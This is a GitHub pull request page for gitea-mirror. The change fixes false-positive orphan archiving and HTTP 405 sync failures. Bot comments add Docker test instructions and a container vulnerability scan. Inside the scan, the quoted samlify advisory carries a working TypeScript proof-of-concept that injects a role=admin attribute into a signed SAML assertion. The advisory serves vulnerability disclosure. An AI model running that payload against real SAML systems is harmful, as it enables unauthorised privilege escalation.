Skip to content

fix: stop false-positive orphan archiving and heal sync 405s on archived-* renamed mirrors (#331)#336

Merged
arunavo4 merged 1 commit into
mainfrom
fix/331-archived-rename-sync
Jul 2, 2026
Merged

fix: stop false-positive orphan archiving and heal sync 405s on archived-* renamed mirrors (#331)#336
arunavo4 merged 1 commit into
mainfrom
fix/331-archived-rename-sync

Conversation

@arunavo4

@arunavo4 arunavo4 commented Jul 2, 2026

Copy link
Copy Markdown
Collaborator

Fixes the remaining half of #331: repos getting renamed to archived-* in Forgejo/Gitea even though they still exist on GitHub, and every subsequent sync of those repos failing with HTTP 405.

Root cause

The archiving was deterministic, not transient. Repos added via the "+" Add Repository dialog are stored with isStarred: false and a foreign owner — a combination that can never appear in the authenticated bulk fetches (listForAuthenticatedUser with owner,collaborator,organization_member affiliation, plus the starred list). So the orphan-cleanup pass (startup + every 6h + every scheduler cycle, default action archive) flagged each of them as "no longer on GitHub" and archived them within one cycle. That's why fresh repos were archived within the hour — 9 of the reporter's 10 renamed repos are alive and unarchived on GitHub.

The 405 is a redirect artifact. Archiving renames the repo to archived-{name} in Forgejo but the DB kept the old name. Requests to the old name get a 301; fetch follows it silently — GETs succeed against the new repo, but the POST to /mirror-sync is method-downgraded to GET per the WHATWG spec and lands on a POST-only endpoint → 405 Method Not Allowed.

The fix (three parts)

  1. Confirm before archiving (repository-cleanup-service.ts) — a repo missing from the bulk list is only orphaned if a targeted per-repo check (checkRepoIsStarredByAuthenticatedUser / repos.get) returns a clean 404. Any other outcome (found, rate limit, network error) fails safe and logs a warning.
  2. Persist the rename (gitea.ts) — archiveGiteaRepo() returns the actual post-rename name and the cleanup service records it in mirroredLocation, so the DB never points at a 301.
  3. Self-heal the installed base (gitea-enhanced.ts) — the sync candidate loop now adopts the canonical owner/name from the GET response body before POSTing (defeats silent redirects for any Gitea-side rename), and archived repos additionally try an archived-{name} fallback guarded by an original_url source match. Archived repos stay archived: no mirror-interval PATCH, status remains archived, matching the documented Manual Sync contract ("disables automatic syncs — use Manual Sync when you want to refresh").

Also hardens mirrorGitHubReleasesToGitea to derive GitHub coordinates from fullName, so a Gitea-side name can never leak into GitHub API calls.

Verification

  • End-to-end on real Forgejo 15.0.3 rootless (the reporter's setup): reproduced the exact 405 pre-fix; post-fix the broken state (stale DB name → renamed archived-* mirror) syncs successfully — access log shows GET stale → 301, GET canonical → 200, POST canonical /mirror-sync → 200 OK, and mirror_updated advances. Archived repos keep interval 0s with no PATCH issued; a non-archived renamed repo heals and gets the configured interval (8h0m0s).
  • Tests: 18 new unit tests (gitea-archive.test.ts, repository-cleanup-service.test.ts, extended gitea-enhanced.test.ts). Full suite: 381 pass / 0 fail.

Fixes #331

…ved-* renamed mirrors (#331)

Three related fixes for the "repos keep getting archived and then fail to
sync with HTTP 405" report:

1. Orphan cleanup no longer archives on bulk-list absence alone.
   Repos added via the "+" Add Repository dialog (foreign owner, not
   starred) can never appear in the authenticated bulk fetches, so every
   cleanup cycle deterministically flagged them as orphaned and archived
   them. identifyOrphanedRepositories() now runs a targeted per-repo
   confirmation (starred check or repos.get) and only treats a clean 404
   as gone; any other outcome fails safe.

2. The archived-* rename is persisted. archiveGiteaRepo() now returns
   the actual post-rename name and the cleanup service records it in
   mirroredLocation, so the DB no longer points at a name that only
   301-redirects.

3. Sync self-heals repos renamed in Gitea/Forgejo. Requests to a
   renamed repo get a 301; fetch follows it, downgrading POST to GET,
   which lands on the POST-only mirror-sync endpoint as a 405. The sync
   candidate loop now adopts the canonical owner/name from the GET
   response body before POSTing, tries an archived-{name} fallback for
   archived repos (guarded by an original_url source match), and keeps
   archived repos archived: no mirror-interval PATCH, status stays
   'archived' per the documented Manual Sync contract.

Also hardens mirrorGitHubReleasesToGitea to derive GitHub coordinates
from fullName so Gitea-side names can never leak into GitHub API calls.

Verified end-to-end on Forgejo 15.0.3 (rootless): pre-fix reproduces the
exact 405; post-fix the stale-name sync succeeds (GET stale -> 301, GET
canonical -> 200, POST canonical mirror-sync -> 200), archived repos keep
interval "0s" with no PATCH issued, and non-archived renamed repos heal
and get the configured interval applied.
@cloudflare-workers-and-pages

Copy link
Copy Markdown

Deploying gitea-mirror-website with  Cloudflare Pages  Cloudflare Pages

Latest commit: d552e20
Status: ✅  Deploy successful!
Preview URL: https://afc79070.gitea-mirror-website.pages.dev
Branch Preview URL: https://fix-331-archived-rename-sync.gitea-mirror-website.pages.dev

View logs

@github-actions

github-actions Bot commented Jul 2, 2026

Copy link
Copy Markdown
Contributor

🐳 Docker Image Built Successfully

Your PR image is available for testing:

Image Tag: pr-336
Full Image Path: ghcr.io/raylabshq/gitea-mirror:pr-336

Pull and Test

docker pull ghcr.io/raylabshq/gitea-mirror:pr-336
docker run -d   -p 4321:4321   -e BETTER_AUTH_SECRET=your-secret-here   -e BETTER_AUTH_URL=http://localhost:4321   --name gitea-mirror-test ghcr.io/raylabshq/gitea-mirror:pr-336

Docker Compose Testing

services:
  gitea-mirror:
    image: ghcr.io/raylabshq/gitea-mirror:pr-336
    ports:
      - "4321:4321"
    environment:
      - BETTER_AUTH_SECRET=your-secret-here
      - BETTER_AUTH_URL=http://localhost:4321
      - BETTER_AUTH_TRUSTED_ORIGINS=http://localhost:4321

💡 Note: PR images are tagged as pr-<number> and built for both linux/amd64 and linux/arm64.
Production images (latest, version tags) use the same multi-platform set.


📦 View in GitHub Packages

@github-actions

github-actions Bot commented Jul 2, 2026

Copy link
Copy Markdown
Contributor

🔍 Vulnerabilities of gitea-mirror:scan

📦 Image Reference gitea-mirror:scan
digestsha256:8d13e5b66f95e3f46b051d23547df96dace626a12620c19015810d20ed69d942
vulnerabilitiescritical: 1 high: 21 medium: 0 low: 0
platformlinux/amd64
size293 MB
packages824
📦 Base Image debian:13
also known as
  • 13.4
  • latest
  • trixie
  • trixie-20260505
digestsha256:de6a8f94c0e84f57a8e29769966b9d8c199b0891634280ad75ad804cf9827825
vulnerabilitiescritical: 1 high: 7 medium: 9 low: 38 unspecified: 3
critical: 1 high: 2 medium: 0 low: 0 perl 5.40.1-6 (deb)

pkg:deb/debian/perl@5.40.1-6?os_distro=trixie&os_name=debian&os_version=13

critical : CVE--2026--12087

Affected range>0
Fixed versionNot Fixed
EPSS Score0.389%
EPSS Percentile31st percentile
Description

Socket versions before 2.041 for Perl have an out-of-bounds heap read. In Socket.xs, pack_ip_mreq_source() checks the length of its source argument before the argument is read, so the check tests the byte length carried over from the preceding multiaddr argument instead. Both addresses occupy a 4-byte field, so a valid multiaddr lets a source of any length pass the check, and the source is then copied into the 4-byte imr_sourceaddr field with a fixed-size copy. A source shorter than 4 bytes is not rejected, and the copy reads up to 3 bytes past the end of its buffer. Calling pack_ip_mreq_source() with a source value shorter than 4 bytes copies adjacent heap memory into the returned packed structure.


high : CVE--2026--48959

Affected range>0
Fixed versionNot Fixed
EPSS Score0.373%
EPSS Percentile29th percentile
Description

IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward. fastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration. Extracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip->new($zip, Name => $target) drives a per-byte read loop scaling with the entry's compressed size, up to the non-Zip64 4 GiB cap.


high : CVE--2026--48962

Affected range>0
Fixed versionNot Fixed
EPSS Score0.292%
EPSS Percentile21st percentile
Description

IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob. _parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl. Arbitrary Perl in the output glob executes at the calling process's privilege.


critical: 0 high: 8 medium: 0 low: 0 gnutls28 3.8.9-3+deb13u3 (deb)

pkg:deb/debian/gnutls28@3.8.9-3%2Bdeb13u3?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2026--5260

Affected range<3.8.9-3+deb13u4
Fixed version3.8.9-3+deb13u4
EPSS Score0.727%
EPSS Percentile50th percentile
Description

A flaw was found in libgnutls. A remote attacker, by sending an extremely short premaster secret during an RSA key exchange to a server using an RSA key backed by a PKCS#11 token, could trigger a short heap overread. This memory corruption vulnerability could lead to information disclosure.


high : CVE--2026--42013

Affected range<3.8.9-3+deb13u4
Fixed version3.8.9-3+deb13u4
EPSS Score0.423%
EPSS Percentile34th percentile
Description

A flaw was found in gnutls. When validating certificates, an oversized Subject Alternative Name (SAN) could cause the validation process to incorrectly fall back to checking the Common Name (CN) field. This could allow a remote attacker to bypass proper certificate validation, potentially leading to spoofing or man-in-the-middle attacks.


high : CVE--2026--42009

Affected range<3.8.9-3+deb13u4
Fixed version3.8.9-3+deb13u4
EPSS Score1.335%
EPSS Percentile68th percentile
Description

A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service.


high : CVE--2026--33846

Affected range<3.8.9-3+deb13u4
Fixed version3.8.9-3+deb13u4
EPSS Score1.263%
EPSS Percentile66th percentile
Description

A heap buffer overflow vulnerability exists in the DTLS handshake fragment reassembly logic of GnuTLS. The issue arises in merge_handshake_packet() where incoming handshake fragments are matched and merged based solely on handshake type, without validating that the message_length field remains consistent across all fragments of the same logical message. An attacker can exploit this by sending crafted DTLS fragments with conflicting message_length values, causing the implementation to allocate a buffer based on a smaller initial fragment and subsequently write beyond its bounds using larger, inconsistent fragments. Because the merge operation does not enforce proper bounds checking against the allocated buffer size, this results in an out-of-bounds write on the heap. The vulnerability is remotely exploitable without authentication via the DTLS handshake path and can lead to application crashes or potential memory corruption.


high : CVE--2026--33845

Affected range<3.8.9-3+deb13u4
Fixed version3.8.9-3+deb13u4
EPSS Score0.805%
EPSS Percentile52nd percentile
Description

A flaw in GnuTLS DTLS handshake parsing allows malformed fragments with zero length and non-zero offset, leading to an integer underflow during reassembly and resulting in an out-of-bounds read. This issue is remotely exploitable and may cause information disclosure or denial of service.


high : CVE--2026--42011

Affected range<3.8.9-3+deb13u4
Fixed version3.8.9-3+deb13u4
EPSS Score0.475%
EPSS Percentile38th percentile
Description

A flaw was found in gnutls. This vulnerability occurs because permitted name constraints were incorrectly ignored when previous Certificate Authorities (CAs) only had excluded name constraints. A remote attacker could exploit this to bypass critical name constraint checks during certificate validation. This bypass could lead to the acceptance of invalid certificates, potentially enabling spoofing or man-in-the-middle attacks against affected systems.


high : CVE--2026--42012

Affected range<3.8.9-3+deb13u4
Fixed version3.8.9-3+deb13u4
EPSS Score0.354%
EPSS Percentile27th percentile
Description

A flaw was found in gnutls. A remote attacker could exploit this vulnerability by presenting a specially crafted certificate that contains Uniform Resource Identifier (URI) or Service (SRV) Subject Alternative Names (SANs). This could cause the certificate validation process to incorrectly fall back to checking DNS hostnames against the Common Name (CN), potentially allowing the attacker to spoof legitimate services or intercept sensitive information.


high : CVE--2026--42010

Affected range<3.8.9-3+deb13u4
Fixed version3.8.9-3+deb13u4
EPSS Score1.050%
EPSS Percentile60th percentile
Description

A flaw was found in gnutls. Servers configured with RSA-PSK (Rivest–Shamir–Adleman – Pre-Shared Key) wrongfully matched usernames containing a NUL character with truncated usernames. A remote attacker could exploit this by sending a specially crafted username, leading to an authentication bypass. This vulnerability allows an attacker to gain unauthorized access by circumventing the authentication process.


critical: 0 high: 6 medium: 0 low: 0 stdlib 1.25.9 (golang)

pkg:golang/stdlib@1.25.9

high : CVE--2026--42504

Affected range<1.25.11
Fixed version1.25.11
EPSS Score0.560%
EPSS Percentile42nd percentile
Description

Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.

high : CVE--2026--42499

Affected range<1.25.10
Fixed version1.25.10
EPSS Score0.768%
EPSS Percentile51st percentile
Description

Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.

high : CVE--2026--39836

Affected range<1.25.10
Fixed version1.25.10
EPSS Score0.588%
EPSS Percentile44th percentile
Description

The Dial and LookupPort functions panic on Windows when provided with an input containing a NUL (0).

high : CVE--2026--39820

Affected range<1.25.10
Fixed version1.25.10
EPSS Score0.755%
EPSS Percentile51st percentile
Description

Well-crafted inputs reaching ParseAddress, ParseAddressList, and ParseDate were able to trigger excessive CPU exhaustion and memory allocations.

high : CVE--2026--33814

Affected range<1.25.10
Fixed version1.25.10
EPSS Score0.781%
EPSS Percentile51st percentile
Description

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

high : CVE--2026--33811

Affected range<1.25.10
Fixed version1.25.10
EPSS Score0.813%
EPSS Percentile52nd percentile
Description

When using LookupCNAME with the cgo DNS resolver, a very long CNAME response can trigger a double-free of C memory and a crash.

critical: 0 high: 4 medium: 0 low: 0 openssl 3.5.6-1~deb13u1 (deb)

pkg:deb/debian/openssl@3.5.6-1~deb13u1?os_distro=trixie&os_name=debian&os_version=13

high : CVE--2026--45447

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score2.719%
EPSS Percentile84th percentile
Description

Issue summary: A specially crafted PKCS#7 or S/MIME signed message could trigger a use-after-free during PKCS#7 signature verification. Impact summary: A use-after-free may result in process crashes, heap corruption, or potentially remote code execution. When processing a PKCS#7 or S/MIME signed message, if the SignedData digestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may incorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent use of the BIO by the calling application results in a use-after-free condition. In the common case this occurs when the application later calls BIO_free() on the BIO originally passed to PKCS7_verify(). Depending on allocator behavior and application-specific BIO usage patterns, this may result in a crash or other memory corruption. In some application contexts this may potentially be exploitable for remote code execution. Applications that process PKCS#7 or S/MIME signed messages using OpenSSL PKCS#7 APIs may be affected. Applications using the CMS APIs for this processing are not affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


high : CVE--2026--7383

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.358%
EPSS Percentile28th percentile
Description

Issue summary: A signed integer overflow when sizing the destination buffer for Unicode output in ASN1_mbstring_ncopy() can lead to a heap buffer overflow. Impact summary: A heap buffer overflow may lead to a crash or possibly attacker controlled code execution or other undefined behaviour. In ASN1_mbstring_copy() and ASN1_mbstring_ncopy() the destination size for Unicode output is computed in a signed int: by left shift of the input character count for BMPSTRING (UTF-16) and UNIVERSALSTRING (UTF-32), and by summing per-character byte counts for UTF8STRING. The calculation overflows when the input reaches around 2^30 characters. In the worst case (UNIVERSALSTRING at 2^30 characters) the size wraps to zero, OPENSSL_malloc(1) is called, and the subsequent character copy writes several gigabytes past the one-byte allocation. X.509 certificate processing routes through ASN1_STRING_set_by_NID(), whose DIRSTRING_TYPE mask excludes UNIVERSALSTRING and whose per-NID size limits cap the input length; no network protocol or certificate-handling path in OpenSSL exercises the overflow. Triggering the bug requires an application that calls ASN1_mbstring_copy() or ASN1_mbstring_ncopy() directly, or registers a custom string type via ASN1_STRING_TABLE_add(), with attacker-controlled input on the order of half a gigabyte or more. For these reasons this issue was assigned Low severity. The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


high : CVE--2026--9076

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.297%
EPSS Percentile21st percentile
Description

Issue summary: When CMS password-based decryption (RFC 3211 / PWRI key unwrap) processes attacker-supplied CMS data, an attacker-chosen stream-mode KEK cipher can trigger a heap out-of-bounds read in kek_unwrap_key(). Impact summary: A heap buffer over-read may trigger a crash which leads to Denial of Service for an application if the input buffer ends at a memory page boundary and the following page is unmapped. There is no information disclosure as the over-read bytes are not revealed to the attacker. The key unwrapping function performs a check-byte test as specified in the RFC that reads 7 bytes from a heap allocation that is based on the wrapped key length from the message. There is a minimum length check based on the block length of the wrapping cipher. However the cipher is selected from an OID carried in the attacker's PWRI keyEncryptionAlgorithm with no requirement that the cipher be a block cipher. When an attacker selects a stream-mode cipher the guard will be ineffective and the allocated buffer containing the unwrapped key can be too small to fit the check-bytes specified in the RFC and a buffer over-read can happen. Applications calling CMS_decrypt() or CMS_decrypt_set1_password() (equivalently openssl cms -decrypt -pwri_password ...) on untrusted CMS data are vulnerable to this issue. No password knowledge is required: the over-read happens during the unwrap attempt before any authentication succeeds. The over-read is limited to a few bytes and is not written to output, so there is no information disclosure. Triggering a crash requires the allocation to border unmapped memory, which is unlikely with the normal allocator. The FIPS modules are not affected by this issue.


high : CVE--2026--34180

Affected range<3.5.6-1~deb13u2
Fixed version3.5.6-1~deb13u2
EPSS Score0.513%
EPSS Percentile40th percentile
Description

Issue summary: Parsing a crafted DER-encoded ASN.1 structure with a primitive element whose content exceeds 2 gigabytes in length may cause a heap buffer over-read on 64-bit Unix and Unix-like platforms. Impact summary: The heap buffer over-read may crash the application (Denial of Service) or to load into the decoded ASN.1 object contents of memory beyond the end of the input buffer. More typically such ASN.1 elements would instead be truncated. An integer truncation in OpenSSL's ASN.1 decoder causes the content length of an ASN.1 primitive element to be mishandled when it exceeds 2 gigabytes. In the worst case the truncated length is treated as a request to scan the binary content for a terminating zero byte, possibly causing OpenSSL to read either less than or beyond the end of the allocated buffer. Applications that pass attacker-supplied data to d2i_X509(), d2i_PKCS7(), or any other d2i_* decoding function are affected. OpenSSL's own command-line tools are not vulnerable, as data read through the BIO layer is checked before it reaches the affected code. The issue only affects 64-bit Unix and Unix-like platforms; 32-bit platforms and 64-bit Windows are not affected. The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.


critical: 0 high: 1 medium: 0 low: 0 samlify 2.10.2 (npm)

pkg:npm/samlify@2.10.2

high 8.7: CVE--2026--46490 XML Injection (aka Blind XPath Injection)

Affected range<2.13.0
Fixed version2.13.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.383%
EPSS Percentile30th percentile
Description

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.tsreplaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:

<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>

Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept

  • poc/attribute_injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@<!-- -->authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {
  context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
  attributes: [
    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
  ],
};

const idp = IdentityProvider({
  privateKey: readFileSync('./test/key/idp/privkey.pem'),
  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/idpmeta.xml'),
  loginResponseTemplate,
});

const sp = ServiceProvider({
  privateKey: readFileSync('./test/key/sp/privkey.pem'),
  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/spmeta.xml'),
});

const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
  const now = new Date();
  const fiveMinutesLater = new Date(now.getTime() + 300_000);
  const tvalue = {
    ID: _idp.entitySetting.generateID(),
    AssertionID: _idp.entitySetting.generateID(),
    Destination: _sp.entityMeta.getAssertionConsumerService('post'),
    Audience: _sp.entityMeta.getEntityID(),
    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
    NameID: user.email,
    Issuer: _idp.entityMeta.getEntityID(),
    IssueInstant: now.toISOString(),
    ConditionsNotBefore: now.toISOString(),
    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
    InResponseTo: 'request-id',
    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
    attrUserEmail: user.email,
    attrUserInjection: user.injection,
  };

  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};

async function main() {
  const injection = [
    'safe',
    '</saml:AttributeValue></saml:Attribute>',
    '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
    '</saml:Attribute>',
    '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
  ].join('');

  const user = { email: 'user@<!-- -->esaml2.com', injection };
  const { context: SAMLResponse } = await idp.createLoginResponse(
    sp,
    { extract: { request: { id: 'request-id' } } },
    'post',
    user,
    buildTemplate(idp, sp, 'post', user)
  );

  const xml = util.base64Decode(SAMLResponse, true).toString();
  console.log('--- Generated XML snippet ---');
  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));

  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });

  console.log('Parsed attributes:', extract.attributes);
}

main().catch(err => {
  console.error('PoC failed:', err?.message || err);
  process.exitCode = 1;
});

Run:

  npm install --legacy-peer-deps
  npx ts-node poc/attribute_injection.ts

Impact

A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.

@github-actions

github-actions Bot commented Jul 2, 2026

Copy link
Copy Markdown
Contributor

Recommended fixes for local gitea-mirror:scan

Base image is debian:13

Name13.4
Digestsha256:de6a8f94c0e84f57a8e29769966b9d8c199b0891634280ad75ad804cf9827825
Vulnerabilitiescritical: 1 high: 7 medium: 9 low: 38 unspecified: 3
Pushed1 month ago
Size49 MB
Packages111
OS13.4
The base image is also available under the supported tag(s): latest, trixie

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.
TagDetailsPushedVulnerabilities
13
Newer image for same tag
Also known as:
  • 13.5
  • trixie
  • latest
  • trixie-20260623
Benefits:
  • Newer image for same tag
  • Minor OS version update
  • Tag was pushed more recently
  • Image has similar size
  • Tag is latest
  • Image introduces no new vulnerability but removes 24
  • Image contains equal number of packages
Image details:
  • Size: 49 MB
  • OS: 13.5
1 week ago



Change base image

TagDetailsPushedVulnerabilities
stable-slim
Tag is preferred tag
Also known as:
  • stable-20260623-slim
Benefits:
  • Image is smaller by 19 MB
  • Tag is preferred tag
  • Tag was pushed more recently
  • Image introduces no new vulnerability but removes 24
  • Image contains equal number of packages
  • Tag is using slim variant
  • stable-slim was pulled 46K times last month
Image details:
  • Size: 30 MB
  • Flavor: debian
  • OS: 12
  • Slim: ✅
1 week ago



13-slim
Minor OS version update
Also known as:
  • 13.5-slim
  • trixie-slim
  • trixie-20260623-slim
Benefits:
  • Image is smaller by 19 MB
  • Minor OS version update
  • Tag was pushed more recently
  • Image introduces no new vulnerability but removes 24
  • Image contains equal number of packages
  • Tag is using slim variant
Image details:
  • Size: 30 MB
  • OS: 13.5
1 week ago



@github-actions

github-actions Bot commented Jul 2, 2026

Copy link
Copy Markdown
Contributor

Overview

Image reference ghcr.io/raylabshq/gitea-mirror:latest gitea-mirror:scan
- digest ff6eec52a5e8 8d13e5b66f95
- tag latest scan
- provenance d552e20 oven-sh/bun@0d9b296
- vulnerabilities critical: 1 high: 21 medium: 21 low: 56 unspecified: 21 critical: 1 high: 21 medium: 21 low: 56 unspecified: 21
- platform linux/amd64 linux/amd64
- size 254 MB 293 MB (+40 MB)
- packages 824 824
Base Image debian:13
also known as:
latest
trixie
debian:13
also known as:
latest
trixie
- vulnerabilities critical: 1 high: 7 medium: 9 low: 38 unspecified: 3 critical: 1 high: 7 medium: 9 low: 38 unspecified: 3
Labels (8 changes)
  • ± 8 changed
-org.opencontainers.image.created=2026-07-02T10:09:11.333Z
+org.opencontainers.image.created=2026-05-13T03:50:40.734Z
-org.opencontainers.image.description=Gitea Mirror auto-syncs GitHub repos to your self-hosted Gitea/Forgejo, with a sleek Web UI and easy Docker deployment.
+org.opencontainers.image.description=Incredibly fast JavaScript runtime, bundler, test runner, and package manager – all in one
-org.opencontainers.image.licenses=AGPL-3.0
+org.opencontainers.image.licenses=NOASSERTION
-org.opencontainers.image.revision=d552e205689c180cc7afbb9bb5bf0e131186e64e
+org.opencontainers.image.revision=0d9b296af33f2b851fcbf4df3e9ec89751734ba4
-org.opencontainers.image.source=https://github.com/RayLabsHQ/gitea-mirror
+org.opencontainers.image.source=https://github.com/oven-sh/bun
-org.opencontainers.image.title=gitea-mirror
+org.opencontainers.image.title=bun
-org.opencontainers.image.url=https://github.com/RayLabsHQ/gitea-mirror
+org.opencontainers.image.url=https://github.com/oven-sh/bun
-org.opencontainers.image.version=pr-336
+org.opencontainers.image.version=1.3.14-debian

@arunavo4 arunavo4 merged commit b5e0c58 into main Jul 2, 2026
9 checks passed
@arunavo4 arunavo4 deleted the fix/331-archived-rename-sync branch July 2, 2026 10:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

(BUG) Assets do not get mirrored

1 participant